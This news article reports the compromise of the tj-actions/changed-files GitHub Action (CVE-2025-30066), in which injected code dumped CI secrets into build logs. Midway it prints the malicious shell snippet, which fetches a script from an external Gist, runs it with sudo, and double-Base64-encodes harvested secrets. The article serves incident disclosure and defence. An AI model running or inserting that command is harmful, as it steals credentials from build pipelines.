Attack via GitHub action tool spied out secrets and stored them in log file

StepSecurity, a company specializing in security for CI/CD (Continuous Integration/Continuous Delivery) pipelines, has discovered an attack on the open source tool tj-actions/changed-files for GitHub Actions. Unknown persons have injected malicious code into the tool, which stores sensitive information such as AWS keys, GitHub access tokens (Personal Access Tokens, PAT) and private RSA keys from the project in a log file.

The CVE entry (Common Vulnerabilities and Exposures) CVE-2025-30066 is classified as high with a score of 8.6. StepSecurity discovered the attack on March 14. The maintainers of tj-actions/changed-files have since removed the malicious code from the project. However, there is still a risk that build logs with the sensitive information can be viewed in public GitHub repositories.

Detour via Python script

tj-actions/changed-files can be integrated into the workflow with GitHub Actions. The tool tracks which files have been changed in the CI/CD process.

The attackers have apparently gained access to the repository via a personal access token to the @tj-actions-bot. According to the issue in the repository, it is not possible to trace how the PAT was compromised. GitHub has since withdrawn the token. The maintainers of the project have changed the password and activated passkey authentication as protection against future attacks.

Read also

Report: Malware and supply chain attacks threaten companies

---

Sichere Softwareentwicklung: Vorträge für die heise devSec in Regensburg gesucht

For the attack, a Base64-encoded code snippet initially ended up in the repository, which calls a decoded Python script from a GitHub Gist:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

The Python script memdump.py eventually searches for secrets and stores them in the log. To prevent security tools from automatically recognizing the information as sensitive and filtering it out, the script encodes the information twice with Base64.

Public repos at risk

Even if the maintainers have since removed the malicious code from the project and the Gist with the malicious code no longer exists, there is still a risk for public repositories that the attackers can view the build logs and decode the sensitive information.

Anyone using the tool in their GitHub action pipeline should therefore always check the build logs for suspicious content. If double Base64-encoded sections are found in the logs, not only should the files be removed, but the affected secrets should also be changed.

(rme)